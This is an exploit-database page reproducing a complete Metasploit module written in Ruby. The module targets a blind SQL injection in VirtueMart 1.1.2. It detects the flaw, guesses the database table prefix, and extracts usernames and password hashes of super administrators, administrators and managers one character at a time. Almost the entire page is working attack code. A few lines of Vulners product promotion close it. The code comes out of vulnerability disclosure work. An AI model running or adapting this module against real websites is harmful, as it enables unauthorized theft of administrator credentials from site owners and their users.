Lucene search
K

VirtueMart 1.1.2 SQL Injection

🗓️ 01 Apr 2009 00:00:00Reported by Janek Vind aka waraxeType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 14 Views

Exploiting VirtueMart <= 1.1.2 Blind Sql Injection vulnerability

Code
`require 'msf/core'  
  
class Metasploit3 < Msf::Auxiliary  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,   
'Name' => 'VirtueMart <= 1.1.2 Sql Injection Exploit',  
'Description' => %q{  
This module exploits VirtueMart <= 1.1.2 Blind Sql Injection vulnerability.  
},  
'Author' => 'Janek Vind "waraxe" <come2waraxe[at]yahoo.com>',  
'License' => MSF_LICENSE,  
'Version' => '1.0',  
'References' =>  
[  
['BID', '33480'],  
['URL', 'http://www.waraxe.us/advisory-71.html'],  
['URL', 'http://secunia.com/advisories/33671/']  
],  
'DisclosureDate' => 'Jan 24 2009'))  
  
register_options(  
[  
OptString.new('URI', [false, 'Path to VirtueMart', '']),  
OptInt.new('TARGETID', [false, 'Target ID (optional)']),  
OptString.new('PREFIX', [false, 'Database table prefix (optional)', 'jos_']),  
OptBool.new('ALLSA', [ false, 'Fetch all Super Admins', true]),  
OptBool.new('ALLA', [ false, 'Fetch all Admins', false]),  
OptBool.new('ALLM', [ false, 'Fetch all Managers', false]),  
], self.class)  
  
end  
  
def run  
  
@marker = 'name="addtocart"'  
@target_uri = '/' + datastore['URI'] + '/'  
@target_uri = @target_uri.gsub(/\/{2,}/, '/')  
@target_id = datastore['TARGETID']   
@target_prefix = datastore['PREFIX']  
@requests = @fetched = 0  
time_start = Time.now.to_i  
  
# debug_level=2 - more debug messages, 1 - less  
@debug_level = 1  
  
if(!pre_test)  
print_error('Exploit failed in pre-test phase')  
return  
end  
  
if(datastore['ALLSA'])  
if(!get_users(1))  
print_error('Exploit failed fetching Super Admins')  
return  
end  
end  
  
if(datastore['ALLA'])  
if(!get_users(2))  
print_error('Exploit failed fetching Admins')  
return  
end  
end  
  
if(datastore['ALLM'])  
if(!get_users(3))  
print_error('Exploit failed fetching Managers')  
return  
end  
end  
  
if((@target_id < 1) and (!datastore['ALLSA']) and (!datastore['ALLA']) and (!datastore['ALLM']))  
print_status('Target ID or group(s) not specified, fetching Super Admins as default')  
if(!get_users(1))  
print_error('Exploit failed fetching Super Admins')  
return  
end  
end  
  
if(@target_id > 1)  
if(!get_user())  
print_error("Exploit failed fetching user with ID=#{@target_id}")  
return  
end  
end  
  
time_spent = Time.now.to_i - time_start  
  
print_status("Exploitation results:")  
print_status("Got data for #{@fetched} users")  
print_status("Total time spent: #{time_spent} seconds")  
print_status("HTTP requests needed: #{@requests}")  
  
end  
############################################################  
def make_post(post_data)  
  
timeout = 30  
  
begin   
  
res = send_request_cgi({  
'uri' => @target_uri,  
'method' => 'POST',  
'data' => post_data,  
}, timeout)  
  
if(res and res.body)  
@requests += 1  
return res.body  
else  
print_error('No response from server')  
return nil  
end  
  
rescue ::Exception  
print_error("Error: #{$!.class} #{$!}")  
return nil  
end  
end  
############################################################  
def test_condition(condition)  
  
max_tries = 10  
  
post_data = "page=shop.browse&option=com_virtuemart&vmcchk=1&DescOrderBy=,"  
post_data << "IF(#{condition},1,(SELECT 1 UNION ALL SELECT 1))"  
  
1.upto(max_tries) do |i|  
  
buf = make_post(post_data)  
  
if(buf)  
return buf.include?(@marker)  
else  
print_status("Sleeping #{i} seconds")  
sleep(i)  
print_status("Awake, retry ##{i}")  
end  
end  
  
return nil  
end  
############################################################  
def pre_test  
  
post_data = 'page=shop.browse&option=com_virtuemart&vmcchk=1'  
buf = make_post(post_data) or return false  
  
if(!buf.include?(@marker))  
print_error('Pre-test 1 failed - VirtueMart not detected')  
return false  
else  
print_status('Pre-test 1 passed - VirtueMart detected')  
end  
  
post_data = 'page=shop.browse&option=com_virtuemart&vmcchk=1&DescOrderBy=,'  
buf = make_post(post_data) or return false  
  
if(buf.include?(@marker))  
print_error('Pre-test 2 failed - target is patched?')  
return false  
else  
print_status('Pre-test 2 passed - injection detected')  
end  
  
post_data = 'page=shop.browse&option=com_virtuemart&vmcchk=1&DescOrderBy=,(SELECT 1)'  
buf = make_post(post_data) or return false  
  
if(!buf.include?(@marker))  
print_error('Pre-test 3 failed - subselects not supported?')  
return false  
else  
print_status('Pre-test 3 passed - subselects supported')  
end  
  
if(@target_prefix == '')  
print_status('Prefix not provided, trying to fetch')  
@target_prefix = get_prefix  
if(!@target_prefix)  
print_error('Prefix fetch failed')  
return false  
else  
print_status("Prefix fetched: #{@target_prefix}")  
return true  
end  
end  
  
post_data = "page=shop.browse&option=com_virtuemart&vmcchk=1&DescOrderBy=," +  
"(SELECT 1 FROM #{@target_prefix}users LIMIT 1)"  
  
buf = make_post(post_data) or return false  
  
if(!buf.include?(@marker))  
print_error('Pre-test 4 failed - wrong prefix?')  
print_status('Trying to fetch valid prefix')  
@target_prefix = get_prefix  
if(!@target_prefix)  
print_error('Prefix fetch failed')  
return false  
else  
print_status("Prefix fetched: #{@target_prefix}")  
return true  
end  
else  
print_status('Pre-test 4 passed - prefix OK')  
end  
  
return true  
end  
############################################################  
def get_char(pattern, min, max)  
  
num = get_num(pattern, min, max) or return nil  
  
return num.chr  
  
end  
############################################################  
def get_hash(group = nil, u_pos = nil)  
  
hash = ''  
  
if(group and u_pos)  
pattern = "(SELECT LENGTH(password)FROM #{@target_prefix}users WHERE usertype=#{group} ORDER BY id ASC LIMIT #{u_pos},1)"  
else  
pattern = "(SELECT LENGTH(password)FROM #{@target_prefix}users WHERE id=#{@target_id})"  
end  
  
p_len = get_num(pattern, 32, 100) or return nil  
  
print_status("Got hash length: #{p_len.to_s}")  
  
1.upto(p_len) do |pos|  
print_status("Finding hash char pos #{pos}") if @debug_level > 0  
  
if(group and u_pos)  
pattern = "(SELECT ORD(SUBSTR(password,#{pos},1))FROM #{@target_prefix}users WHERE usertype=#{group} ORDER BY id ASC LIMIT #{u_pos},1)"  
else  
pattern = "(SELECT ORD(SUBSTR(password,#{pos},1))FROM #{@target_prefix}users WHERE id=#{@target_id})"  
end  
  
c = get_char(pattern, 32, 128) or return nil  
  
hash << c  
print_status("Known: #{hash}") if @debug_level > 0  
  
end  
  
return hash  
  
end  
############################################################  
def get_prefix  
  
prefix = ''  
  
post_data = 'page=shop.browse&option=com_virtuemart&vmcchk=1&DescOrderBy=,' +  
'(SELECT 1 FROM INFORMATION_SCHEMA.TABLES LIMIT 1)'  
buf = make_post(post_data) or return false  
  
if(!buf.include?(@marker))  
print_error('INFORMATION_SCHEMA not found - mysql < 5.0?')  
return false  
else  
print_status('INFORMATION_SCHEMA detected, proceed')  
end  
  
pattern = '(SELECT LENGTH(table_name)FROM INFORMATION_SCHEMA.TABLES' +  
' WHERE table_name LIKE 0x25766d5f70726f64756374 ORDER BY table_name ASC LIMIT 0,1)'  
  
p_len = get_num(pattern, 5, 100) or return nil  
p_len -= 10  
  
if(p_len < 0)  
print_error("Invalid prefix length: #{p_len.to_s}")  
return false  
elsif(p_len == 0)  
print_status('Prefix seems to be empty')  
@target_prefix = ''  
return true  
else  
print_status("Got prefix length: #{p_len.to_s}")  
end  
  
1.upto(p_len) do |pos|  
print_status("Finding prefix char pos #{pos}") if @debug_level > 0  
  
pattern = "(SELECT ORD(SUBSTR(table_name,#{pos},1))FROM INFORMATION_SCHEMA.TABLES" +  
" WHERE table_name LIKE 0x25766d5f70726f64756374 ORDER BY table_name ASC LIMIT 0,1)"  
  
c = get_char(pattern, 32, 128) or return nil  
  
prefix << c  
print_status("Known: #{prefix}") if @debug_level > 0  
  
end  
  
return prefix  
end  
############################################################  
def get_num(pattern, min = 1, max = 100)  
  
curr = 0;  
  
while(1)  
  
area = max - min  
if(area < 2 )  
post_data = "#{pattern}=#{max}"  
eq = test_condition(post_data)  
  
if(eq == nil)  
return nil  
elsif(eq)  
len = max  
else  
len = min  
end  
  
break  
end  
  
half = area / 2  
curr = min + half  
  
post_data = "#{pattern}>#{curr}"  
  
bigger = test_condition(post_data)  
  
if(bigger == nil)  
return nil  
elsif(bigger)  
min = curr  
else  
max = curr  
end  
  
print_status("Current: #{min}-#{max}") if @debug_level > 1  
  
end  
  
return len  
  
end  
############################################################  
def get_username(group = nil, u_pos = nil)  
  
username = ''  
  
if(group and u_pos)  
pattern = "(SELECT LENGTH(username)FROM #{@target_prefix}users WHERE usertype=#{group} ORDER BY id ASC LIMIT #{u_pos},1)"  
else  
pattern = "(SELECT LENGTH(username)FROM #{@target_prefix}users WHERE id=#{@target_id})"  
end  
  
u_len = get_num(pattern, 1, 150) or return nil  
  
print_status("Got username length: #{u_len.to_s}")  
  
1.upto(u_len) do |pos|  
print_status("Finding username char pos #{pos}") if @debug_level > 0  
  
if(group and u_pos)  
pattern = "(SELECT ORD(SUBSTR(username,#{pos},1))FROM #{@target_prefix}users WHERE usertype=#{group} ORDER BY id ASC LIMIT #{u_pos},1)"  
else  
pattern = "(SELECT ORD(SUBSTR(username,#{pos},1))FROM #{@target_prefix}users WHERE id=#{@target_id})"  
end  
  
c = get_char(pattern, 32, 128) or return nil  
  
username << c  
print_status("Known: #{username}") if @debug_level > 0  
  
end  
  
return username  
  
end  
############################################################  
def get_users(group)  
  
if(group == 1)  
usertype = '0x53757065722041646d696e6973747261746f72'  
print_status('Starting to fetch all Super Admins')  
elsif(group == 2)  
usertype = '0x41646d696e6973747261746f72'  
print_status('Starting to fetch all Admins')  
else  
usertype = '0x4d616e61676572'  
print_status('Starting to fetch all Managers')  
end  
  
pattern = "(SELECT COUNT(username)FROM #{@target_prefix}users WHERE usertype=#{usertype})"  
  
u_cnt = get_num(pattern, 0, 100) or return nil  
  
print_status("Targets to fetch: #{u_cnt.to_s}")  
  
0.upto(u_cnt - 1) do |pos|  
  
print_status("Fetching user pos #{pos}")  
  
username = get_username(usertype, pos) or return nil  
hash = get_hash(usertype, pos) or return nil  
@fetched += 1  
  
print_status(  
"Got user data:" +  
"\n==============================\n" +  
"Username: #{username}\n" +  
"Hash: #{hash}" +  
"\n=============================="  
)  
  
end  
  
return true  
end  
############################################################  
def get_user  
  
print_status("Testing user ID=#{@target_id}")  
pattern = "(SELECT COUNT(username)FROM #{@target_prefix}users WHERE ID=#{@target_id})"  
u_cnt = get_num(pattern, 0, 100) or return nil  
  
if(u_cnt != 1)  
print_error("No user with ID=#{@target_id}")  
return true  
end  
  
print_status("Working with user ID=#{@target_id}")  
  
username = get_username or return nil  
hash = get_hash or return nil  
@fetched += 1  
  
print_status(  
"Got user data:" +  
"\n==============================\n" +  
"Username: #{username}\n" +  
"Hash: #{hash}" +  
"\n=============================="  
)  
  
return true  
end  
############################################################   
end  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation